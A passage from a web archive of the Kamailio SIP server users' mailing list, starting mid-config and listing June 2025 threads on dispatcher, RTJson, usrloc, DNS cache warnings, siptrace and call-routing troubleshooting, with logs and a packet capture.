"!DBUSERNAME!$env(DBUSERNAME)!" #!substdef "!DBPASSWORD!$env(DBPASSWORD)!" #!substdef "!DBHOST!$env(DBHOST)!" #!substdef "!DBNAME!$env(DBNAME)!" #!define DBURL "mysql://DBUSERNAME:DBPASSWORD@DBHOST/DBNAME" #!define HTTP_API_ROUTING_ENDPOINT "http://172.16.254.30:5000/api/routing" ---------------------------------------------------------------- #kamailio.cfg ####### Enable TLS ######## enable_tls=yes ####### Core Modules Section ######## include_file "/etc/kamailio/modules-core.cfg" ####### Global Parameters ######### include_file "/etc/kamailio/globals.cfg" ####### Other Modules Section ######## include_file "/etc/kamailio/modules.cfg" ####### Custom Parameters ######### /* These parameters can be modified runtime via RPC interface * - see the documentation of 'cfg_rpc' module. * * Format: group.id = value 'desc' description * Access: $sel(cfg_get.group.id) or @cfg_get.group.id */ ####### Routing Logic ######## include_file "/etc/kamailio/routes.cfg"

4 7

Dispatcher vs Keepalive
by Sergio Charrua 23 Jun '25

23 Jun '25

Hello all, Just wondering your opinions on this.... The project I'm in uses a REST API to get the routes to relay the call to, and one of the main requirements is whenever an egress gateway is down, inform the REST API about its status, and the same once the gateway is up again. So I was reading the modules docs and was stuck with a question: what would be the best solution to keep track of egress gateways availability? 1 - using Keepalive with DRouting to ping each endpoint's address:port , even though the solution is going to use RTJson with the JSON route list returned from a REST API which makes DRouting virtually useless, unless for using the list of gateways to send OPTIONS too. There is no event:routes to execute every time a gateway is down or up.... 2 - using Dispatcher module to "watch" for each endpoint's availability, and make use of the event:route of the Dispatcher module to inform REST API that the endpoint is down or back up once again. Again, RTJson with the JSON route list returned from the REST API would be used to manage routing. I've done a few tests with Dispatcher, and it was really easy to setup the endpoint "watching" mode as well as the event:routes, but I might give a try on Keepalive if it is the better bet. Would greatly appreciate your opinions and expertise on this. Atenciosamente / Kind Regards / Cordialement / Un saludo, *Sérgio Charrua*

2 2

Fwd: RFC3261 rules
by Sergey Safarov 22 Jun '25

22 Jun '25

Could you look at the attached PCAP with OPTIONS message. When OPTIONS message is received, then Kamailio generates error logs like dropping insane message from 10.140.6.38:60083 After checking the PCAP, I see extra %x00 characters after the OPTIONS message in the same UDP frame. Example [image: image.png] I have checked RFC3261 and do not see a definition of "x00" chars. Also in the same RFC, present a reference to the RFC2234 <https://datatracker.ietf.org/doc/html/rfc2234> where is described "space chars", "white space". According to RFC2223, char %x00 cannot be treated as "space" and should be treated as control (CTL) char. Also, RFC3261 does not use "CTL" chars. Using these two RFC, I can conclude, OPTIONS in the attached PCAP breaks RFC requirements, and we can request partner fix this issue on their equipment. Is anything else in the RFC can be used to justify that the given examples of OPTIONS messages violate RFCs? Sergey

7 10

How to reply 484 to uac, and send bye to uas
by 13715209697＠139.com 19 Jun '25

19 Jun '25

Hi team: uac kamailio uas --> invite --> invite <-- 200 ok <-- 484 bye ---> Here is my reply_route: onreply_route[MANAGE_REPLY] { xdbg("incoming reply\n"); if(status=~"[12][0-9][0-9]") { route(NATMANAGE); } if ($rs == 200) { t_reply("484", "Address Incomplete"); if (!t_cancel_callid("$ci", "$cs", "0", "200")) { xerr("t_cancel_callid failed\n"); } return; } return; } but not woking. Thanks! Han 2025-06-17

3 4

What was working Stop working, Send help
by Fernando Lopes 18 Jun '25

18 Jun '25

Hello everyone, I had this problem before https://kamailio.org/mailman3/hyperkitty/list/sr-users@lists.kamailio.org/t… this was fix, but suddenly with everything the same it stop working, I've tried everything and nothing seems to fix the problem Logs: INFO: <core> [core/udp_server.c:233]: probe_max_receive_buffer(): SO_RCVBUF is finally 1048576 on fd 10 INFO: <core> [core/udp_server.c:163]: probe_max_receive_buffer(): SO_RCVBUF is initially 1048576 for fd 11 INFO: <core> [core/udp_server.c:233]: probe_max_receive_buffer(): SO_RCVBUF is finally 1048576 on fd 11 INFO: <core> [core/udp_server.c:163]: probe_max_receive_buffer(): SO_RCVBUF is initially 1048576 for fd 12 INFO: <core> [core/udp_server.c:233]: probe_max_receive_buffer(): SO_RCVBUF is finally 1048576 on fd 12 INFO: rtpengine [rtpengine.c:3040]: rtpp_test(): rtpengine instance <udp:10.0.0.4:2223> found, support for> INFO: jsonrpcs [jsonrpcs_sock.c:471]: jsonrpc_dgram_process(): a new child 0/4164 Started kamailio.service - Kamailio - the Open Source SIP Server. WARNING: <core> [core/tcp_main.c:1301]: find_listening_sock_info(): binding to source address 10.0.0.4:506> INFO: <core> [core/tcp_main.c:3097]: tcpconn_1st_send(): quick connect for 0x7ec47d7cfab8 sock 13 When I run this command I get this sudo kamailio -f /etc/kamailio/kamailio.cfg -DD -E -e loading modules under config path: /usr/lib/x86_64-linux-gnu/kamailio/modules 0(4778) INFO: <core> [core/sctp_core.c:74]: sctp_core_check_support(): SCTP API not enabled - if you want to use it, load sctp module Listening on udp: 10.0.0.4 [10.0.0.4]:5060 advertise <PUBLIC IP>:5060 tcp: 10.0.0.4 [10.0.0.4]:5060 advertise <PUBLIC IP>:5060 Aliases: *: 10.0.0.4:* *: <PUBLIC IP>:* 0(4778) INFO: <core> [core/tcp_main.c:5205]: init_tcp(): using epoll_lt as the io watch method (auto detected) 0(4778) INFO: rr [../outbound/api.h:53]: ob_load_api(): unable to import bind_ob - maybe module is not loaded 0(4778) INFO: rr [rr_mod.c:185]: mod_init(): outbound module not available 0(4778) INFO: jsonrpcs [jsonrpcs_sock.c:219]: jsonrpc_dgram_mod_init(): the socket /var/run/kamailio/kamailio_rpc.sock already exists, trying to delete it... 0(4778) INFO: pike [pike.c:93]: pike_init(): PIKE - initializing 0(4778) INFO: pike [ip_tree.c:79]: init_lock_set(): probing 256 set size 0(4778) INFO: <core> [main.c:3189]: main(): processes (at least): 15 - shm size: 67108864 - pkg size: 8388608 0(4778) INFO: <core> [core/udp_server.c:163]: probe_max_receive_buffer(): SO_RCVBUF is initially 1048576 for fd 7 0(4778) INFO: <core> [core/udp_server.c:233]: probe_max_receive_buffer(): SO_RCVBUF is finally 1048576 on fd 7 0(4778) ERROR: <core> [core/tcp_main.c:3260]: tcp_init(): bind(9, 0x74711968d9c8, 16) on 10.0.0.4:5060 : Address already in use 0(4778) INFO: <core> [core/sctp_core.c:53]: sctp_core_destroy(): SCTP API not initialized and have this sudo iptables -L -n -v | grep 5060 12 13188 ACCEPT 17 -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:5060 5 260 ACCEPT 6 -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:5060 1 52 ACCEPT 6 -- !br-aeab3c66b5ee br-aeab3c66b5ee 0.0.0.0/0 172.19.0.5 tcp dpt:5060 0 0 ACCEPT 17 -- !br-aeab3c66b5ee br-aeab3c66b5ee 0.0.0.0/0 172.19.0.5 udp dpt:5060

3 3

RTJson current selected route
by Sergio Charrua 17 Jun '25

17 Jun '25

Hi all! doing some integrations with RTJson module for Kamailio 5.8.4, calling a REST API to return the RTJson's JSON object with 1 or multiple route elements. Kamailio converts the whole SIP headers to JSON using a Javascript function, executed by APP_JDST module, and POSTing the resulting object to the REST API via http_async module. I couldn't find a way to get the current selected route, from the RTJson object, once Kamailio iterates through the JSON object (i.e: using rtjson_push_routes or rtjson_next_route). When the RTJson module iterates through the different routes of the JSON object, is there a way to get the JSON part that defines the route currently being used by RTJson? The goal is to return some custom properties set in each route element of the route array. Once those properties are returned, Kamailio should process them. For example, RTJson supports From and To headers modification and appending new headers with the "extras" element, but there is no way that I know of to modify other headers or remove headers depending on the route. Does anyone know how: 1 - to return current route element from the routes array of the RTJson object ? 2 - to modify / remove headers other than the From and To headers, according to the custom values set in the RTJson returned from a REST API ? Thanks in advance! Atenciosamente / Kind Regards / Cordialement / Un saludo, *Sérgio Charrua*

3 4

usrloc deletes other server's data (suspected bug)
by James Browne 17 Jun '25

17 Jun '25

Hi I've two servers sharing the same postgres database, using kamailio's "server_id" value. One has server_id=184 and the other has server_id=186. I've set these parameters. modparam("usrloc", "server_id_filter", 1) modparam("usrloc", "db_mode", 1) modparam("usrloc", "db_ops_ruid", 1) # I've tested this with both 0 and 1. When a user REGISTERs, I see data being written to two tables, as normal, from server 184. update location set expires='2025-06-11 16:31:58' ... server_id=184 ...' where ruid='uloc-b8-684999a9-31e-1' delete from location_attrs where ruid='uloc-b8-684999a9-31e-1' insert into location_attrs (username,ruid,...) values (...'uloc-b8-684999a9-31e-1' ... The problem comes when I start server 186. select contact,... etc. ..., username from location where server_id=186 select username,ruid,aname,atype,avalue from location_attrs delete from location_attrs where ruid='uloc-b8-684999a9-31e-1' What I see is that server 186 always deletes the data from the location_attrs table that belongs to server 184, which I don't think it should do. According to the usrloc documentation, server_id_filter must be set (as I've done) or "Otherwise one instance of proxy cleans records made by another proxy and that breaks its cache." Therefore this looks like a usrloc bug to me. Am I doing something wrong? I'm testing with a commit that was made yesterday (kamailio 6.1.0-dev1). James

2 1

Question about how $rc works
by Joel Serrano 17 Jun '25

17 Jun '25

Hi All, I have a simple doubt: are these snippets the same? *One:* secf_check_country($hdr(X-SRC-IP-CC)); $var(secf_cc_rc) = $rc; if ($var(secf_cc_rc) == -2) { ... *Two:* $var(secf_cc_rc) = secf_check_country($hdr(X-SRC-IP-CC)); if ($var(secf_cc_rc) == -2) { ... They both seem to work, the docs say to use option -one-. In case they do the same, is there a reason I should pick one over the other? Or is this purely cosmetic? Thanks, Joel.

2 2

Re: dns_hash_put(): unlinked item errors
by JR Richardson 17 Jun '25

17 Jun '25

> > On Jun 10, 2025, at 4:00 PM, JR Richardson via sr-users <sr-users(a)lists.kamailio.org> wrote: > > > > Hey Folks, > > > > Running kamailio 5.8.4, haven't needed or used DNS functions > > previously but recently completed clearip integration, which requires > > sip request to use URL instead of IP and resolve where to send > > request. Within hours of adding URL lookups I started getting dns_hash > > unlinked errors. I correlated the log errors to when the URL changed > > IP. I assume the caching is working because kamailio sends to the same > > IP for a few minutes, then switches IP, sends to new IP for a few > > minutes, then switches IP again and this activity continues. > > > > Here are some log errors: > > > > switch IP > > Jun 10 14:14:17 siprouter1-pve186 /usr/local/sbin/kamailio[8111]: > > WARNING: <core> [core/dns_cache.c:170]: dns_hash_put(): unlinked item > > 0x7fa0f9b9fcc0 > > Jun 10 14:14:19 siprouter1-pve186 /usr/local/sbin/kamailio[8122]: > > WARNING: <core> [core/dns_cache.c:185]: dns_hash_put_shm_unsafe(): > > unlinked item 0x7fa0f9b9fcc0 > > > > switch IP > > Jun 10 14:15:00 siprouter1-pve186 /usr/local/sbin/kamailio[8111]: > > WARNING: <core> [core/dns_cache.c:170]: dns_hash_put(): unlinked item > > 0x7fa0f9b9ee00 > > Jun 10 14:15:03 siprouter1-pve186 /usr/local/sbin/kamailio[8122]: > > WARNING: <core> [core/dns_cache.c:185]: dns_hash_put_shm_unsafe(): > > unlinked item 0x7fa0f9b9ee00 > > > > switch IP > > Jun 10 14:15:33 siprouter1-pve186 /usr/local/sbin/kamailio[8110]: > > WARNING: <core> [core/dns_cache.c:170]: dns_hash_put(): unlinked item > > 0x7fa0f9b8e640 > > Jun 10 14:15:33 siprouter1-pve186 /usr/local/sbin/kamailio[8122]: > > WARNING: <core> [core/dns_cache.c:185]: dns_hash_put_shm_unsafe(): > > unlinked item 0x7fa0f9b8e640 > > > > switch IP > > Jun 10 14:20:37 siprouter1-pve186 /usr/local/sbin/kamailio[8109]: > > WARNING: <core> [core/dns_cache.c:170]: dns_hash_put(): unlinked item > > 0x7fa0f9b3eb60 > > > > switch IP > > Jun 10 14:21:12 siprouter1-pve186 /usr/local/sbin/kamailio[8117]: > > WARNING: <core> [core/dns_cache.c:170]: dns_hash_put(): unlinked item > > 0x7fa0f9b830f0 > > Jun 10 14:21:23 siprouter1-pve186 /usr/local/sbin/kamailio[8122]: > > WARNING: <core> [core/dns_cache.c:185]: dns_hash_put_shm_unsafe(): > > unlinked item 0x7fa0f9b830f0 > > > > Here are my DNS config parameters, nothing I've changed made any > > difference. And as far as I can tell I'm not dropping any clearip > > queries. > > dns=no > > rev_dns=no > > use_dns_failover=on > > dns_try_ipv6=no > > > > I did find a patch update for this error back from 2023 and the patch > > is in my /src/core/dns_cache.c as expected but still getting errors. > > > > Any guidance in clearing this error? > > > > Thanks. > > JR > > > Not an answer to your question, but to use failover, use_dns_cache (I believe) needs to be on. > > https://github.com/kamailio/kamailio/blob/master/doc/tutorials/dns.txt > > Fred Posner Hi Fred, I read through the DNS docs and believe I have a good understanding, dns_cache is on my default so you don't have to explicitly define it in the config. After further diagnosis I found the dns errors "dns_hash_put(): unlinked item" happen at the same time the DNS query goes out (around 4min30sec to 5min intervals) but the errors in the log don't happen on every DNS query, they only appear when the URL IP changes. This is what I'm seeing, matching timestamps to DNS queries and SIP Invites to clearip. DNS query clearip.com IP#1 no error DNS query clearip.com IP#1 no error DNS query clearip.com IP#2 error DNS query clearip.com IP#1 error DNS query clearip.com IP#1 no error DNS query clearip.com IP#2 error DNS query clearip.com IP#2 no error DNS query clearip.com IP#2 no error DNS query clearip.com IP#1 error Because I'm not seeing any performance or SIP processing issues, I now believe the log entry is a false positive and can be disregarded, I mean it is a warning, but there is no ill effect as far as I can tell, just a lot of log messages, maybe this message should be downgraded to informational? WARNING: <core> [core/dns_cache.c:170]: dns_hash_put(): unlinked item ...... WARNING: <core> [core/dns_cache.c:185]: dns_hash_put_shm_unsafe(): unlinked item ...... *****(why is this one "shm_unsafe") Thanks. JR

2 1

Kamailio 5.8.6 confusing ip protocol version of $nh(d) - where does siptrace capture the packet?
by Benoit Panizzon 17 Jun '25

17 Jun '25

Hi Gang I have come across an strange issue. To make rtpengine use the same IP protocol as signaling I examine: ip_type($nh(d)) Now I have encountered a very strange case involving Kamailio with topos and Asterisk. Initial INVITE was performed via IP6 from Asterisk to Kamailio. Then two Re-Invites were performed Kamailio => Asterisk to refresh the session. The first one happened via IPv6 and the $nh(d) ip_type was IPv6 as rtpengine got hinted to use IPv6 On the second one, something went wrong: According to what Kamailio sent to Homer via siptrace module, the Invite was sent to the IPv6 address of the Asterisk machine. rtpengine got hinted IP4, so $nh(d) must have contained an ipv4 address! But the R-URI (provided by topos) contains the IPv6 address of the Asterisk machine. The HEP capture on Asterisk did not record that Re-Invite sent from Kamailio. Neiter via IPv4 nor via IPv6. Has anyone else seen such issues? At which level does the siptrace module work? Is it capturing 'on wire' or is it capturing what kamailio believes it is sending which might be altered when sent out on the wire? Mit freundlichen Grüssen -Benoît Panizzon- -- I m p r o W a r e A G - Leiter Commerce Kunden ______________________________________________________ Zurlindenstrasse 29 Tel +41 61 826 93 00 CH-4133 Pratteln Fax +41 61 826 93 01 Schweiz Web http://www.imp.ch ______________________________________________________

1 0

Kamailio server not forwarding acknowledgement of 200-OK response to callee
by smh2017＠zoho.com 16 Jun '25

16 Jun '25

Problem: The Kamailio server sends an ack back to the caller UA [Frame 67 below] that it has received its ACK to callee's SIP-Request but Kamailio does not forward the caller UA response to the callee UA. Callee UA continues to send 200-OKs, waiting for an ACK that never arrives, and eventually hangs up. (Note: Blink UAs substitute number ids for user names during call transactions.) Below is some config info. WOW (192.168.1.13) = Blink caller UA registered with Kamailio server on 5060 AMD (192.168.1.11) = Blink callee UA registered with Kamailio server on 5060 Kamailio server @ (192.168.100.50) Kamailio config snippet listen=tls:192.168.100.50:6050 advertise pub-ip-domain.net:6050 listen=tls:192.168.100.50:5061 advertise pub-ip-domain.net:5061 listen=tcp:192.168.100.50:5060 advertise pub-ip-domain.net:5060 Rtpengine config snippet interface = internal/192.168.100.50;external/pub-ip-domain.net WOW and AMD are in a common LAN, Kamailio is in a separate LAN. Both LANs are behind an edge router internet firewall, with port forwarding for SIP port and designated RTP ports to the Kamailio server. The internal LANs are not firewalled from each other. A domain name is associated with the public ip address. Upon answering a call from WOW, AMD sends a 200-OK, expecting WOW to ACK. Kamailio forwards the 200-OK to WOW. The WOW UA responds to the Kamailio Server, sending its ACK [Frame 62] for forwarding, but that does not happen. [Packet 62: 200-OK ACK sent to Kamailio server for forwarding to AMD, but it is not forwarded] Frame 62: 560 bytes on wire (4480 bits), 560 bytes captured (4480 bits) on interface enp1s0, id 0 Section number: 1 Interface id: 0 (enp1s0) Interface name: enp1s0 Encapsulation type: Ethernet (1) Arrival Time: Jun 8, 2025 14:53:39.351196234 EDT [Time shift for this packet: 0.000000000 seconds] Epoch Time: 1749408819.351196234 seconds [Time delta from previous captured frame: 0.008882710 seconds] [Time delta from previous displayed frame: 0.008882710 seconds] [Time since reference or first frame: 91.952560276 seconds] Frame Number: 62 Frame Length: 560 bytes (4480 bits) Capture Length: 560 bytes (4480 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp:sip] [Coloring Rule Name: TCP] [Coloring Rule String: tcp] .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) Internet Protocol Version 4, Src: 192.168.1.13, Dst: 192.168.100.50 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) 0000 00.. = Differentiated Services Codepoint: Default (0) .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 546 Identification: 0x9af3 (39667) 010. .... = Flags: 0x2, Don't fragment 0... .... = Reserved bit: Not set .1.. .... = Don't fragment: Set ..0. .... = More fragments: Not set ...0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 127 Protocol: TCP (6) Header Checksum: 0x1466 [validation disabled] [Header checksum status: Unverified] Source Address: 192.168.1.13 Destination Address: 192.168.100.50 Transmission Control Protocol, Src Port: 49990, Dst Port: 5060, Seq: 5605, Ack: 5124, Len: 506 Source Port: 49990 Destination Port: 5060 [Stream index: 0] [Conversation completeness: Incomplete, DATA (15)] [TCP Segment Len: 506] Sequence Number: 5605 (relative sequence number) Sequence Number (raw): 1801511342 [Next Sequence Number: 6111 (relative sequence number)] Acknowledgment Number: 5124 (relative ack number) Acknowledgment number (raw): 2050979231 0101 .... = Header Length: 20 bytes (5) Flags: 0x018 (PSH, ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Accurate ECN: Not set .... 0... .... = Congestion Window Reduced: Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 1... = Push: Set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: Â•Â•Â•Â•Â•Â•Â•APÂ•Â•Â•] Window: 8212 [Calculated window size: 2102272] [Window size scaling factor: 256] Checksum: 0x7522 [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 91.952560276 seconds] [Time since previous frame in this TCP stream: 0.051442183 seconds] [SEQ/ACK analysis] [This is an ACK to the segment in frame: 49] [The RTT to ACK the segment was: 0.051442183 seconds] [iRTT: 0.000813889 seconds] [Bytes in flight: 506] [Bytes sent since last PSH flag: 506] TCP payload (506 bytes) Session Initiation Protocol (ACK) Request-Line: ACK sip:19350768@192.168.1.11:64901;transport=tcp SIP/2.0 Method: ACK Request-URI: sip:19350768@192.168.1.11:64901;transport=tcp Request-URI User Part: 19350768 Request-URI Host Part: 192.168.1.11 Request-URI Host Port: 64901 [Resent Packet: False] Message Header Via: SIP/2.0/TCP 192.168.1.13:49990;rport;branch=z9hG4bKPja851a221d11c4c9798e08f721afa637f;alias Transport: TCP Sent-by Address: 192.168.1.13 Sent-by port: 49990 RPort: rport Branch: z9hG4bKPja851a221d11c4c9798e08f721afa637f alias Max-Forwards: 70 From: "WOW" <sip:WOW@pub-ip-domain.net>;tag=7c6e2bc0567345288372495eb190f198 SIP from display info: "WOW" SIP from address: sip:WOW@pub-ip-domain.net SIP from address User Part: WOW SIP from address Host Part: pub-ip-domain.net SIP from tag: 7c6e2bc0567345288372495eb190f198 To: <sip:AMD@pub-ip-domain.net>;tag=347c5038ee5c41d8b92a6d473e80cf24 SIP to address: sip:AMD@pub-ip-domain.net SIP to address User Part: AMD SIP to address Host Part: pub-ip-domain.net SIP to tag: 347c5038ee5c41d8b92a6d473e80cf24 Call-ID: 7f8b4805ba4c4bc784370f99085af625 [Generated Call-ID: 7f8b4805ba4c4bc784370f99085af625] CSeq: 18468 ACK Sequence Number: 18468 Method: ACK Route: <sip:pub-ip-domain.net;transport=tcp;lr;nat=yes> Route URI: sip:pub-ip-domain.net;transport=tcp;lr;nat=yes Route Host Part: pub-ip-domain.net Route URI parameter: transport=tcp Route URI parameter: lr Route URI parameter: nat=yes User-Agent: Blink 6.0.3 (Windows) Content-Length: 0 [Packet 67: Kamailio sends acknowledgement back to WOW that it received the 200-OK ACK, but does NOT forward the ACK to AMD.] Frame 67: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface enp1s0, id 0 Section number: 1 Interface id: 0 (enp1s0) Interface name: enp1s0 Encapsulation type: Ethernet (1) Arrival Time: Jun 8, 2025 14:53:39.394825056 EDT [Time shift for this packet: 0.000000000 seconds] Epoch Time: 1749408819.394825056 seconds [Time delta from previous captured frame: 0.013882451 seconds] [Time delta from previous displayed frame: 0.013882451 seconds] [Time since reference or first frame: 91.996189098 seconds] Frame Number: 67 Frame Length: 54 bytes (432 bits) Capture Length: 54 bytes (432 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp] [Coloring Rule Name: TCP] [Coloring Rule String: tcp] Internet Protocol Version 4, Src: 192.168.100.50, Dst: 192.168.1.13 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x10 (DSCP: Unknown, ECN: Not-ECT) Total Length: 40 Identification: 0xacb3 (44211) 010. .... = Flags: 0x2, Don't fragment ...0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 64 Protocol: TCP (6) Header Checksum: 0x4390 [validation disabled] [Header checksum status: Unverified] Source Address: 192.168.100.50 Destination Address: 192.168.1.13 Transmission Control Protocol, Src Port: 5060, Dst Port: 49990, Seq: 5124, Ack: 6111, Len: 0 Source Port: 5060 Destination Port: 49990 [Stream index: 0] [Conversation completeness: Incomplete, DATA (15)] [TCP Segment Len: 0] Sequence Number: 5124 (relative sequence number) Sequence Number (raw): 2050979231 [Next Sequence Number: 5124 (relative sequence number)] Acknowledgment Number: 6111 (relative ack number) Acknowledgment number (raw): 1801511848 0101 .... = Header Length: 20 bytes (5) Flags: 0x010 (ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Accurate ECN: Not set .... 0... .... = Congestion Window Reduced: Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 0... = Push: Not set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: Â•Â•Â•Â•Â•Â•Â•AÂ•Â•Â•Â•] Window: 501 [Calculated window size: 64128] [Window size scaling factor: 128] Checksum: 0x4a97 [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 91.996189098 seconds] [Time since previous frame in this TCP stream: 0.043628822 seconds] [SEQ/ACK analysis] [This is an ACK to the segment in frame: 62] [The RTT to ACK the segment was: 0.043628822 seconds] [iRTT: 0.000813889 seconds] Note: When the call is reversed (AMD-to-WOW), WOW responds with 200-OK, which Kamailio forwards to AMD, but there is no ack-reponse at all from AMD to Kamailio server. WOW eventually hangs up.

1 0

help. execution in event_route takes too much time
by Сергей Приймак 16 Jun '25

16 Jun '25

- kamailio version version: kamailio 6.0.1 (x86_64/linux) fce50d - operating system where server is running: Linux Ubuntu 24 - CPU architecture of the system - 1 CPU - error log messages from syslog - no errors - if there is a coredump file, use gdb to extract the following: - information about when it happens: - - at startup - at shutdown - at runtime: - permanently ============= ISSUE DESCRIPTION =============== In case of event below, script execution takes too much time (40 sec): *event_route[dispatcher:dst-down] {exec_msg("/bin/bash -c '/usr/local/etc/kamailio/ipassign.sh &'");}* In case I run this script from shell it takes ~2 sec. ----------------------------------------------------------------------------------------------- Configs attached.

2 2

IMS to IMS communication
by ashokhs77＠gmail.com 16 Jun '25

16 Jun '25

I want to do an IMS to IMS communication - for subscriber querying. If a number dialed is not in the database of the local IMS, it should query the remote database via remote IMS and connect, if user is successfully found. Has anyone tried this? what all needs to be taken care for this..? Thanks & regards, Ashok

1 0

hfl not working as well
by ale Gural 14 Jun '25

14 Jun '25

Does anyone know why using $(hfl(Diversion)[0]) cuts off the last part of the value, while hdr doesn't? Thanks!

4 10

dns_hash_put(): unlinked item errors
by JR Richardson 10 Jun '25

10 Jun '25

Hey Folks, Running kamailio 5.8.4, haven't needed or used DNS functions previously but recently completed clearip integration, which requires sip request to use URL instead of IP and resolve where to send request. Within hours of adding URL lookups I started getting dns_hash unlinked errors. I correlated the log errors to when the URL changed IP. I assume the caching is working because kamailio sends to the same IP for a few minutes, then switches IP, sends to new IP for a few minutes, then switches IP again and this activity continues. Here are some log errors: switch IP Jun 10 14:14:17 siprouter1-pve186 /usr/local/sbin/kamailio[8111]: WARNING: <core> [core/dns_cache.c:170]: dns_hash_put(): unlinked item 0x7fa0f9b9fcc0 Jun 10 14:14:19 siprouter1-pve186 /usr/local/sbin/kamailio[8122]: WARNING: <core> [core/dns_cache.c:185]: dns_hash_put_shm_unsafe(): unlinked item 0x7fa0f9b9fcc0 switch IP Jun 10 14:15:00 siprouter1-pve186 /usr/local/sbin/kamailio[8111]: WARNING: <core> [core/dns_cache.c:170]: dns_hash_put(): unlinked item 0x7fa0f9b9ee00 Jun 10 14:15:03 siprouter1-pve186 /usr/local/sbin/kamailio[8122]: WARNING: <core> [core/dns_cache.c:185]: dns_hash_put_shm_unsafe(): unlinked item 0x7fa0f9b9ee00 switch IP Jun 10 14:15:33 siprouter1-pve186 /usr/local/sbin/kamailio[8110]: WARNING: <core> [core/dns_cache.c:170]: dns_hash_put(): unlinked item 0x7fa0f9b8e640 Jun 10 14:15:33 siprouter1-pve186 /usr/local/sbin/kamailio[8122]: WARNING: <core> [core/dns_cache.c:185]: dns_hash_put_shm_unsafe(): unlinked item 0x7fa0f9b8e640 switch IP Jun 10 14:20:37 siprouter1-pve186 /usr/local/sbin/kamailio[8109]: WARNING: <core> [core/dns_cache.c:170]: dns_hash_put(): unlinked item 0x7fa0f9b3eb60 switch IP Jun 10 14:21:12 siprouter1-pve186 /usr/local/sbin/kamailio[8117]: WARNING: <core> [core/dns_cache.c:170]: dns_hash_put(): unlinked item 0x7fa0f9b830f0 Jun 10 14:21:23 siprouter1-pve186 /usr/local/sbin/kamailio[8122]: WARNING: <core> [core/dns_cache.c:185]: dns_hash_put_shm_unsafe(): unlinked item 0x7fa0f9b830f0 Here are my DNS config parameters, nothing I've changed made any difference. And as far as I can tell I'm not dropping any clearip queries. dns=no rev_dns=no use_dns_failover=on dns_try_ipv6=no I did find a patch update for this error back from 2023 and the patch is in my /src/core/dns_cache.c as expected but still getting errors. Any guidance in clearing this error? Thanks. JR

2 1

get ip status from dispatcher
by ale Gural 10 Jun '25

10 Jun '25

Hello, There is a way to get the status of specific ip of dispatcher in kamailio.cfg? not using kamcmd dispatcher.list, thanks!

3 2

How to detect originating and terminating?
by James Morrison 09 Jun '25

09 Jun '25

I'm trying to find a way to differentiate between originating and terminating legs. Currently in kex module, in core_stats.c I'm adding new counters for more response codes, I want to have two sets of counters, one for originating and one for terminating. In ims_getters.c file, I found a function called cscf_has_originating, which by description "Finds if the message contains the orig parameter in the first Route header" I'm calling it like the following: static int km_cb_rpl_stats_by_method(struct sip_msg *msg, unsigned int flags, void *param) { int originating = cscf_has_originating(msg); .... However it always returns CSCF_RETURN_FALSE (or -1). I added a log message and increased log level for core module: DEBUG: <core> [ims_getters.c:561]: cscf_has_originating(): I_originating: Header Route not found ERROR: kex [core_stats.c:424]: km_cb_rpl_stats_by_method(): In kex module received rpls, the return value of cscf_has_originating is: -1 That's because cscf_has_originating function is calling parse_headers function, trying to get msg->route but that route property is not set correctly in the previous step: if(parse_headers(msg, HDR_ROUTE_F, 0) < 0) { LM_DBG("I_originating: error parsing headers\n"); return CSCF_RETURN_FALSE; } so it returns -1 after checking msg->route value. Do you know any alternative solution? or do you know why msg->route value is 0 or NULL?

3 6

siptrace module not respecting send_sock after kamailio 5.6.6
by Daniel Donoghue 09 Jun '25

09 Jun '25

Hello, I have been using the siptrace module on a multihomed kamailio setup for some time now, with kamailio 5.5.7 and 5.6.6, without incident. I am listening to my external interface using something like: listen=tls:external_ip:5061 listen=tcp:external_ip:5060 Listen=tcp:internal_ip:5000 name "homer" And for siptrace... modparam("siptrace", "duplicate_uri", "sip:homer_ip:9060;transport=tcp") modparam("siptrace", "send_sock_name", "homer") I have also used send_sock_addr and force_send... This works as expected. I recently deployed this same setup using kamailio 6.0.1 and discovered that the send_sock is not being respected, even though the logs say it has been selected. Instead, tcpdump and careful examination of all the file descriptors for the kamailio processes reveal it is sending with the source set to my external_ip instead of the internal_ip. I have verified this on the same server, ruling out os level issues routing issues and have tried manually connecting using nc with the internal ip address for the source, which works. I tried downgrading, and found that the same is true for kamailio 5.7.6, 5.8.6 and 6.0.1 This issue only appears to affect siptrace as other sockets appear to use the correct source ip to, for example, connect to a database. I had a look at the change logs and documentation and cant see anything obvious that I need to change from a configuration perspective. Could anybody help? I would prefer to be running 6.0+ in my new production environment but wont be able to if this cannot be solved quickly. Many thanks for your help. With every blessing, -- Daniel Donoghue

2 2

TCP pings from dispatcher
by Alex Balashov 07 Jun '25

07 Jun '25

Does anyone know offhand if dispatcher has access to existing TCP connections from the core for its OPTIONS pings to TCP dispatcher gateways, or whether it generates its own proprietary TCP connections for this specific purpose? -- Alex Balashov Principal Consultant Evariste Systems LLC Web: https://evaristesys.com, https://www.csrpswitch.com Tel: +1-706-510-6800

2 1

Kamailio Deployment in AWS
